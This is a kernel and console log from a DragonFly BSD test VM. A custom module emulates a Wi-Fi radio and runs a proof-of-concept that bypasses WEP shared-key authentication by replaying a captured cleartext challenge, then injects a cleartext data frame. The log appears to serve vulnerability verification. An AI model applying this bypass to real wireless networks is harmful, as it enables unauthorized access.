== guest: DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
kldload: can't load /root/fw4/fw4.ko: module already loaded or in kernel
wlan0
wlan0: flags=808843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST,PROXY> metric 0 mtu 1500
	status: associated
== [A] wepmode on: shared-key auth WITHOUT the key ==
  -- step 1: auth request (legitimately cleartext seq1); AP replies seq2 challenge cleartext
kern.fw4_attack: 0 -> 0
  -- control: respond with a CORRUPTED challenge -> must NOT authorize
kern.fw4_attack: 0 -> 0
kern.fw4_state: 0
  -- re-request, then respond with the CAPTURED challenge, Protected bit CLEAR
kern.fw4_attack: 0 -> 0
kern.fw4_attack: 0 -> 0
kern.fw4_state: 0
  -- associate without the key
kern.fw4_attack: 0 -> 0
wlan0: flags=808843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST,PROXY> metric 0 mtu 1500
	ether 02:00:00:00:00:f4
	inet6 fe80::ff:fe00:f4%wlan0 prefixlen 64 scopeid 0x3
	groups: wlan
ADDR               AID CHAN RATE RSSI IDLE  TXSEQ  RXSEQ CAPS FLAG   
02:00:de:ad:be:ef    1    1  11M 63.5    0      3      0 E    A      
== [B] wepmode mixed: cleartext data delivery without the key ==
wlan0
kern.fw4_attack: 0 -> 0
kern.fw4_attack: 0 -> 0
kern.fw4_attack: 0 -> 0
  -- RX counter before/after injecting ONE cleartext TODS data frame
kern.fw4_attack: 0 -> 0
== cleanup ==
up
fw4: fake legacy wifi radio attached (fw4_0, 11bg)
fw4_0: need multicast update callback
fw4_0: need multicast update callback
fw4_0: need multicast update callback
fw4.attack=1: injecting 30-byte frame (AUTH shared seq1) to wlan0
fw4[air]: AP TX AUTH seq=2 status=0 challenge_ie_len=128 protected=0
fw4.attack=1 done: captured challenge (len 128) off the air; AP tx seq=2 status=0
fw4.state[current]: node 0xfffff8008dd80400 flags 0x20020 authmode 2 AUTHORIZED=0 associd 0x0 challenge=0xfffff800897a5880
fw4.attack=3: injecting 160-byte frame (AUTH shared seq3 +corrupt challenge, CLEARTEXT) to wlan0
fw4[air]: AP TX AUTH seq=4 status=15 challenge_ie_len=-1 protected=0
fw4.attack=3 done: AP last tx AUTH seq=4 status=15
fw4.state[current]: node 0xfffff8008dd80400 flags 0x20020 authmode 2 AUTHORIZED=0 associd 0x0 challenge=0xfffff800897a5880
fw4.attack=1: injecting 30-byte frame (AUTH shared seq1) to wlan0
fw4[air]: AP TX AUTH seq=2 status=0 challenge_ie_len=128 protected=0
fw4.attack=1 done: captured challenge (len 128) off the air; AP tx seq=2 status=0
fw4.state[current]: node 0xfffff801186a0400 flags 0x20020 authmode 2 AUTHORIZED=0 associd 0x0 challenge=0xfffff8008f90cf80
fw4.attack=2: injecting 160-byte frame (AUTH shared seq3 +captured challenge, CLEARTEXT) to wlan0
fw4[air]: AP TX AUTH seq=4 status=0 challenge_ie_len=-1 protected=0
fw4.attack=2 done: AP last tx AUTH seq=4 status=0
fw4.state[current]: node 0xfffff801186a0400 flags 0x20021 authmode 2 AUTHORIZED=1 associd 0x0 challenge=0xfffff8008f90cf80   <<<< BYPASSED
fw4.attack=4: injecting 41-byte frame (ASSOC_REQ) to wlan0
fw4.state[after-assoc]: node 0xfffff801186a0400 flags 0x20021 authmode 2 AUTHORIZED=1 associd 0xc001 challenge=0   <<<< BYPASSED
fw4.state[current]: node 0xfffff801186a0400 flags 0x20021 authmode 2 AUTHORIZED=1 associd 0xc001 challenge=0   <<<< BYPASSED
fw4_0: need multicast update callback
fw4_0: need multicast update callback
fw4_0: need multicast update callback
fw4_0: need multicast update callback
fw4.attack=1: injecting 30-byte frame (AUTH shared seq1) to wlan0
fw4[air]: AP TX AUTH seq=2 status=0 challenge_ie_len=128 protected=0
fw4.attack=1 done: captured challenge (len 128) off the air; AP tx seq=2 status=0
fw4.state[current]: node 0xfffff80118720400 flags 0x20020 authmode 2 AUTHORIZED=0 associd 0x0 challenge=0xfffff8008f948b80
fw4.attack=2: injecting 160-byte frame (AUTH shared seq3 +captured challenge, CLEARTEXT) to wlan0
fw4[air]: AP TX AUTH seq=4 status=0 challenge_ie_len=-1 protected=0
fw4.attack=2 done: AP last tx AUTH seq=4 status=0
fw4.state[current]: node 0xfffff80118720400 flags 0x20021 authmode 2 AUTHORIZED=1 associd 0x0 challenge=0xfffff8008f948b80   <<<< BYPASSED
fw4.attack=4: injecting 41-byte frame (ASSOC_REQ) to wlan0
fw4.state[after-assoc]: node 0xfffff80118720400 flags 0x20021 authmode 2 AUTHORIZED=1 associd 0xc001 challenge=0   <<<< BYPASSED
fw4.state[current]: node 0xfffff80118720400 flags 0x20021 authmode 2 AUTHORIZED=1 associd 0xc001 challenge=0   <<<< BYPASSED
fw4.attack=5: injecting 40-byte frame (DATA TODS cleartext) to wlan0
fw4.attack=5 done: check wlan ipackets counter
fw4.state[current]: node 0xfffff80118720400 flags 0x20021 authmode 2 AUTHORIZED=1 associd 0xc001 challenge=0   <<<< BYPASSED
fw4_0: need multicast update callback
fw4_0: need multicast update callback
fw4: detached
fw4: fake legacy wifi radio attached (fw4_0, 11bg)
fw4_0: need multicast update callback
fw4_0: need multicast update callback
fw4.attack=1: injecting 30-byte frame (AUTH shared seq1) to wlan0
fw4[air]: AP TX AUTH seq=2 status=0 challenge_ie_len=128 protected=0
fw4.attack=1 done: captured challenge (len 128) off the air; AP tx seq=2 status=0
fw4.state[current]: node 0xfffff80118960400 flags 0x20020 authmode 2 AUTHORIZED=0 associd 0x0 challenge=0xfffff8008f928b00
fw4.attack=2: injecting 160-byte frame (AUTH shared seq3 +captured challenge, CLEARTEXT) to wlan0
fw4[air]: AP TX AUTH seq=4 status=0 challenge_ie_len=-1 protected=0
fw4.attack=2 done: AP last tx AUTH seq=4 status=0
fw4.state[current]: node 0xfffff80118960400 flags 0x20021 authmode 2 AUTHORIZED=1 associd 0x0 challenge=0xfffff8008f928b00   <<<< BYPASSED
fw4.attack=4: injecting 41-byte frame (ASSOC_REQ) to wlan0
fw4.state[after-assoc]: node 0xfffff80118960400 flags 0x20021 authmode 2 AUTHORIZED=1 associd 0xc001 challenge=0   <<<< BYPASSED
fw4.state[current]: node 0xfffff80118960400 flags 0x20021 authmode 2 AUTHORIZED=1 associd 0xc001 challenge=0   <<<< BYPASSED
fw4.attack=5: injecting 40-byte frame (DATA TODS cleartext) to wlan0
fw4.attack=5 done: check wlan ipackets counter
fw4.state[current]: node 0xfffff80118960400 flags 0x20021 authmode 2 AUTHORIZED=1 associd 0xc001 challenge=0   <<<< BYPASSED